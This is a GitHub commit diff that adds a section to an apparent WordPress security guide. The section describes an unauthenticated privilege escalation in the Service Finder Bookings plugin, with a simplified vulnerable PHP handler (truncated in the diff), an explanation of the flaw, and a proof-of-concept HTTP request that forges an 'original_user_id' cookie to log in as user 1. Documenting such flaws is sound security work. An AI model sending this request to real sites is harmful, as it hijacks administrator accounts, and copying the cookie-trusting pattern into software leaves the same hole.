You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
612
+
613
+
Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
614
+
615
+
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
616
+
617
+
```php
618
+
function service_finder_submit_user_form(){
619
+
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
wp_die('No original user found to switch back to.');
643
+
}
644
+
```
645
+
646
+
Why it’s exploitable
647
+
648
+
- Public `init` hook makes the handler reachable by unauthenticated users (no `is_user_logged_in()` guard).
649
+
- Identity is derived from a client-modifiable cookie (`original_user_id`).
650
+
- Direct call to `wp_set_auth_cookie($uid)` logs the requester in as that user without any capability/nonce checks.
651
+
652
+
Exploitation (unauthenticated)
653
+
654
+
```http
655
+
GET /?switch_back=1 HTTP/1.1
656
+
Host: victim.example
657
+
Cookie: original_user_id=1
658
+
User-Agent: PoC
659
+
Connection: close
660
+
```
661
+
662
+
---
663
+
611
664
### WAF considerations for WordPress/plugin CVEs
612
665
613
666
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
@@ -722,5 +775,7 @@ The server responds with the contents of `wp-config.php`, leaking DB credentials
722
775
-[Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
-[Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
779
+
-[Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
0 commit comments